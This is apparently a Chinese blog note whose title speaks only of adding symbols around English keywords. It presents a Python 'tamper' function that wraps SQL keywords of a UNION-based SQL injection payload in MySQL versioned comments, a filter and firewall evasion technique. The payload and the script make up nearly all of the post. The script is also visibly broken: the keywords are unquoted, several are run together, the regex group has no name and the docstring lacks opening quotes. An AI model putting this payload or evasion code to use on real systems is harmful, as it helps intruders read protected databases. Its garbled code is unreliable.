A-A+

python 给指定英文关键词前后加入特定字符 指定字符前后加入特定符号

2020年08月19日 18:54 学习笔记 暂无评论 阅读 197 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

例如我有如下语句:

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

 

然后我需要再独立的后面没有()的字符串,或者说词语前后加入特殊字符,想变为下面的格式。

1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

 

注意,只有独立的字符或者说,字符后面没有接()的词语,前面加入了/*!,后面加入了*/

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
import os
import re
 
keywords = (TIES,MOD,CEILING,NULLABLE,LEAVE,REQUIRERESTRICT,GRANT,ALL,POSITION,HOUR_SECOND,COLUMN_NAME,GOTO,ENUM,LINK,DYNAMIC_FUNCTION,GROUP,TRUNCATE,LOCALTIME,LONG,TEXT,NEW,INT4,DENSE_RANK,CURRENT_TIMECURRENT_TIMESTAMP,TO,VARYING,COLLATE,PRECISION,MAP,NCHAR,REGR_SXX,RETURNING,SPECIFIC_NAME,TRAILING,FALSE,MAPPING,NOTIFY,DATE,DATETIME_INTERVAL_CODE,FUNCTIONS,SQLEXCEPTION,SMALLINTSONAME,INFILE,SMALLINT,TRANSLATE,COST,DLPREVIOUSCOPY,ROW,TABLESPACE,MEMBER,TRANSFORMS,COLUMNS,NAMES,ZONE,VALUES,HOUR_MINUTE,BOM,MERGE,EXCLUDE,SSL,VALID,XMLTABLE,CHARACTER_SET_CATALOG,CONDITION,EXECUTE,BACKWARD,LARGE,MAX_CARDINALITY,KEY_TYPE,CURSOR_NAME,PARAMETER,EXCLUDING,CONTAINS,MESSAGE_TEXT,ELSEELSEIF,SIMILAR,HANDLER,CONNECTION,ACCESS,COLLATION_NAME,T,STRICT,DESCRIBE,ROLLBACK,ALWAYS,PASSWORD,SNAPSHOT,DLURLPATHWRITE,LN,EXCEPTION,STATEMENT,MESSAGE_LENGTH,SCALE,SESSION_USER,ROW_NUMBER,CATALOG,PERMISSION,NULLIF,NTILE,WRITE,OPEN,INTERSECT,SESSION,CLUSTER,LAST,FLOAT4,TOKEN,ONLY,DLNEWCOPY,CONNECT,CUME_DIST,ADA,FOR,ACTION,ON,XML,USAGE,SQL_SMALL_RESULT,NAME,UNLISTEN,RLIKE,NO,FS,SUBCLASS_ORIGIN,MEDIUMBLOB,DIAGNOSTICS,CURRENT_TIMESTAMP,VERBOSE,SQLWARNING,EXIT,FILTER,TYPE,WHEN,DLURLPATH,GREATEST,OF,PERCENTILE_CONT,SEARCH,SUM,FORWARD,BLOB,FORCE,VARBINARY,OIDS,PERCENT,SPECIFICTYPE,BREADTH,DEC,PUBLIC,KEYS,DELIMITER,LANGUAGE,BEGIN_FRAME,ARRAY_MAX_CARDINALITY,CONCAT,FREE,IMPLEMENTATION,ABS,CURRENT_PATH,INTEGER,SQL,SCOPE,DUAL,CURRENT_DEFAULT_TRANSFORM_GROUP,SEQUENCES,TYPES,DISCARD,NUMERIC,IGNORE,VAR_SAMP,TIME,PRIVILEGES,DOUBLE,EQUALS,ASASC,VARIADIC,DESCRIPTOR,STARTINGSTRAIGHT_JOIN,BLOCKED,INDENT,TRUE,SUCCEEDS,LISTEN,XMLVALIDATE,SELECT,UNION,SQLCODE,CUBE,COLLATION,OPTIONS,CONTENT,XMLITERATE,INCREMENT,FREEZE,SOURCE,SQLSTATE,MAXVALUE,ENCLOSED,A,UNLINK,LOWER,FULLTEXT,DYNAMIC,CAST,KEY,NCLOB,STRIP,CONDITION_NUMBER,HAVING,CARDINALITY,INCLUDING,DIV,MINUTE,VARCHARACTERVARYING,XMLSCHEMA,TRANSLATION,EXISTS,ININDEX,UNCOMMITTED,VARCHAR,CASECHANGE,XMLCAST,DO,EXTERNAL,REPLACE,DEFINED,NFC,SIMPLE,SYSID,TRIGGER_NAME,VOLATILE,NFKC,CLASS_ORIGIN,FUSION,ATTRIBUTES,REGEXP,OCCURRENCES_REGEX,STANDALONE,PROCEDURAL,RELEASE,UTC_TIMESTAMP,UNDER,REF,SCOPE_CATALOG,XMLTEXT,LOW_PRIORITY,TEMP,DEREF,CURRENT_USER,NTH_VALUE,MONTH,TINYTEXTTO,BIT,MOVE,DELETE,MINVALUE,XMLDOCUMENT,DEPTH,CSV,K,DECLARE,DAY,URI,OVERLAY,CONSTRUCTOR,MINUTE_SECOND,PERCENTILE_DISC,BOTH,HOUR,INSTANCE,ENCRYPTED,OPTION,NORMALIZED,OPERATOR,CONTROL,TRANSACTION_ACTIVE,P,USER_DEFINED_TYPE_CODE,SYSTEM,CASCADE,OUTPUT,LOCK,CURRENT,CHECKPOINT,UNNEST,DAY_MICROSECONDDAY_MINUTE,BEGIN,ALLOCATE,MUMPS,WITHIN,END,DEGREE,DICTIONARY,REGR_COUNT,FULL,COLUMN,GET,NESTING,FALSEFETCH,ORDINALITY,CHARACTER_SET_NAME,HEADER,OPTIONALLYOR,M,TRANSACTIONS_ROLLED_BACK,TIMEZONE_HOUR,INPUT,NULLS,CURRENT_ROW,SIZE,OLD,BY,PLANS,PASSTHROUGH,TERMINATED,ARE,IMMEDIATELY,MESSAGE_OCTET_LENGTH,XMLBINARY,PARAMETER_SPECIFIC_NAME,SECOND,NONE,LC_COLLATE,CORRESPONDING,PARTITION,PLACING,OUTER,COMMIT,FIRST_VALUE,BIT_LENGTH,SEPARATOR,ASENSITIVE,USE,BINARY,NOTNULL,LEADING,PORTION,REGR_SLOPE,REQUIRING,PRECISIONPRIMARY,MATCH,ENFORCED,SCOPE_SCHEMA,COMMAND_FUNCTION,MULTISET,XMLNAMESPACES,CASCADED,STATIC,LABEL,SHARE,ASC,FINAL,RULE,NOWAIT,DOMAIN,TIMEZONE_MINUTE,OUT,OFFSET,RESPECT,RANGE,BASE64,END_FRAME,CURRENT_ROLE,LINESLOAD,ASSIGNMENT,PARSER,THEN,IFNULL,NOTNO_WRITE_TO_BINLOG,NAMESPACE,PLI,WITHOUT,XMLCONCAT,OWNER,FLAG,UNIQUEUNLOCK,HIERARCHY,UNTIL,SUBSTRING,CONSTRAINT,IMMEDIATE,CONSTRAINT_CATALOG,FOREIGNFROM,SETOF,USER_DEFINED_TYPE_SCHEMA,FETCH,GENERATED,XMLATTRIBUTES,VAR_POP,INTERVALINTO,UNBOUNDED,GO,RECHECK,MATCHED,MODE,VALIDATE,CURRENT_TRANSFORM_GROUP_FOR_TYPE,BERNOULLI,SYSTEM_TIME,REFRESH,PARTIAL,NATIONAL,MORE,SCHEMA_NAME,BINARYBLOB,DYNAMIC_FUNCTION_CODE,REPEAT,TRANSACTIONS_COMMITTED,RETURNS,ROWS,BIGINT,REPEATABLE,NATURAL,EXP,INVOKER,TRANSFORM,WITH,DOCUMENT,EXPLAIN,TREAT,EXCLUSIVE,DLURLPATHONLY,PRECEDES,COMMAND_FUNCTION_CODE,WRAPPER,ZEROFILL,IN,MIN,NFD,AFTER,SYMMETRIC,PRIOR,LEAST,MEDIUMINT,ATOMIC,DATALINK,DEFINER,ARRAY,REGR_INTERCEPT,XMLFOREST,TEMPLATE,FORTRAN,SHOW,EXTENSION,LEFT,BETWEEN,STORAGE,LC_CTYPE,COMMITTED,SQL_BIG_RESULT,RELATIVE,MINUTE_MICROSECOND,DESC,LOCAL,CASE,ILIKE,FOREIGN,BOOLEAN,FIRST,ASYMMETRIC,DECIMAL,HIGH_PRIORITYHOUR_MICROSECOND,ORDER,ISNULL,TEMPORARY,SQLSTATESQLWARNING,STRUCTURE,UNIQUE,INSERT,DB,SPECIFIC,PARAMETER_SPECIFIC_CATALOG,EXPRESSION,ROUTINE_NAME,CURRENT_DATE,INTO,DELIMITERS,SIGNAL,CONSTRAINTS,AGGREGATE,EACH,MODULE,OFF,RETURN,DATABASES,STABLE,UNDO,FROM,SOME,VALUE,COLLATION_CATALOG,PROGRAM,INOUT,REVOKE,STDDEV_SAMP,CONNECTION_NAME,RETURNED_CARDINALITY,END-EXEC,SYSTEM_USER,COLLECT,RESTART,CEIL,CURRENT_TIME,LAST_VALUE,RESIGNAL,INSTANTIABLE,DLURLCOMPLETEWRITE,MODIFIES,DEFAULTDELAYED,PASSING,NFKD,ORDERING,NULL,LIBRARY,ID,END_PARTITION,TABLE_NAME,OWNED,MEDIUMTEXTMIDDLEINT,OVER,CHARACTER,SAVEPOINT,ENABLE,AVG,XMLQUERY,DLURLCOMPLETE,POSITION_REGEX,PRIMARY,SCHEMA,NUMBER,STDIN,IMPLICIT,CLOB,OVERLAPS,KILLLEADING,MATERIALIZED,RECOVERY,XMLCOMMENT,DISTINCT,CACHE,ALSO,FRAME_ROW,SEQUENCE,ELSEIF,TRANSLATE_REGEX,ESCAPED,ABSENT,CHARACTER_LENGTH,STDDEV_POP,TRUSTED,DEFERRED,STATISTICS,XMLAGG,DATETIME_INTERVAL_PRECISION,CREATE,COVAR_POP,CALL,CROSS,WHERE,KEY_MEMBER,CHECK,ROW_COUNT,PROCEDURE,EXTRACT,ROLE,CHARACTER_SET_SCHEMA,SUBSTRING_REGEX,SECURITY,XMLROOT,BEGIN_PARTITION,LONGBLOBLONGTEXT,PRECEDING,CHAR_LENGTH,IS,COALESCE,GLOBAL,SELECTIVE,RESULT,SUBMULTISET,CURRENT_CATALOG,HEX,CYCLE,WIDTH_BUCKET,INHERITS,INTERVAL,VIEW,REASSIGN,PAD,DISCONNECT,IMPORT,PARAMETER_ORDINAL_POSITION,HOLD,UESCAPE,REGR_R2,USER_DEFINED_TYPE_NAME,PATH,REGR_AVGY,INLINE,DISABLE,DAY_HOUR,CONSTRAINT_NAME,METHOD,ANY,LEAD,DEFAULT,LAG,NEXT,AUTHORIZATION,EVERY,TRIGGER_SCHEMA,CLOSE,DEFERRABLE,TRIM_ARRAY,CALLED,COPY,TRIGGER_CATALOG,INTERSECTION,INSENSITIVE,DERIVED,SECTION,FOLLOWING,EMPTY,NORMALIZE,UTC_DATEUTC_TIME,ASSERTION,ENCODING,IMMUTABLE,UNNAMED,RETURNED_LENGTH,CLASS,PARAMETER_NAME,DROP,INDICATOR,OTHERS,INDEX,SQRT,ABSOLUTE,INT3,ANALYSE,DETERMINISTIC,TRIM,GENERAL,XMLELEMENT,YES,DATABASE,SENSITIVE,EXEC,NOT,SQL_CALC_FOUND_ROWS,VERSION,WRITEXOR,REFERENCES,ROUTINE_CATALOG,CHARACTERS,DLURLCOMPLETEONLY,OCTET_LENGTH,VALUE_OF,ALTER,FOUND,LOOP,GROUPING,DATA,XMLPARSE,COUNT,ROUTINE_SCHEMA,WHENEVER,USER_DEFINED_TYPE_CATALOG,RESET,ROUTINE,CONVERSION,VALIDATOR,READ,IF,MAX,UNLOGGED,INHERIT,DISPATCH,LEVEL,COLLATION_SCHEMA,PARAMETER_SPECIFIC_SCHEMA,WHITESPACE,WORK,INDEXES,ESCAPE,PRESERVE,COMMENT,DEFAULTS,ATTRIBUTE,XMLEXISTS,PREPARED,CONTINUE,SCOPE_NAME,CHAR,REPLICA,SCHEMASSECOND_MICROSECOND,SCROLL,INT,WHILE,CHARACTERISTICS,SPATIAL,UPPER,TINYBLOB,SET,DISTINCTDISTINCTROW,LEAKPROOF,DLURLSERVER,LIKE_REGEX,TIMESTAMP,LENGTH,PREPARE,REGR_AVGX,DEALLOCATE,ADD,ANALYZE,IDENTITY,JOIN,COMMENTS,RETURNED_OCTET_LENGTH,STYLE,POWER,RESTRICT,TINYINT,LIMIT,RANK,SQLERROR,YEAR_MONTH,ELEMENT,TRIGGER,LOAD,INT8,EVENT,RESTORE,VACUUM,FLOAT,GROUPS,COVAR_SAMP,FLOOR,INTEGRITY,PERCENT_RANK,ABORT,GRANTED,REAL,CATALOG_NAME,CURSOR,SELF,STATE,VERSIONING,STDOUT,DAY_SECOND,FAMILY,CONFIGURATION,REFERENCING,FILE,INSTEAD,PASCAL,USING,USER,FUNCTION,CONSTRAINT_SCHEMA,CURRENT_SCHEMA,PERIOD,DLURLSCHEME,SERIALIZABLE,TRANSACTION,SERVER_NAME,UPDATE,OR,ACCORDING,LIKE,ARRAY_AGG,YEAR,REINDEX,READS,UNKNOWN,OVERRIDING,LOCATOR,OBJECT,AS,RECURSIVE,AND,CONVERT,CORR,RIGHT,XMLDECLARATION,C,PARAMETER_MODE,LOCALTIMESTAMP,PURGE,XMLPI,RETURNED_SQLSTATE,NOTHING,OPTIMIZE,ROLLUP,ADMIN,START,TABLES,SETS,INTINT1,TOP_LEVEL_COUNT,EXCEPT,SPACE,CONDITIONCONSTRAINT,UNSIGNED,LATERAL,OCTETS,QUOTE,SERVER,REGR_SXY,TABLESAMPLE,INITIALLY,COBOL,ELSE,UNENCRYPTED,XMLSERIALIZE,ISOLATION,FLOAT8,RENAME,AT,CONCURRENTLY,NIL,OUTFILE,WINDOW,INNER,LOCATION,REALREFERENCES,G,UNTYPED,REGR_SYY,DLVALUE,BEFORE,ITERATE,CHAIN,INT2,TABLE)
 
def tamper(payload, **kwargs):
 
    >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
    """
 
    def process(match):
        word = match.group('word')
        if word.upper() in keywords:
            return match.group().replace(word, "/*!%s*/" % word)
        else:
            return match.group()
 
    retVal = payload
 
    if payload:
        retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal)
        retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
 
    return retVal
 
###使用方法
tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言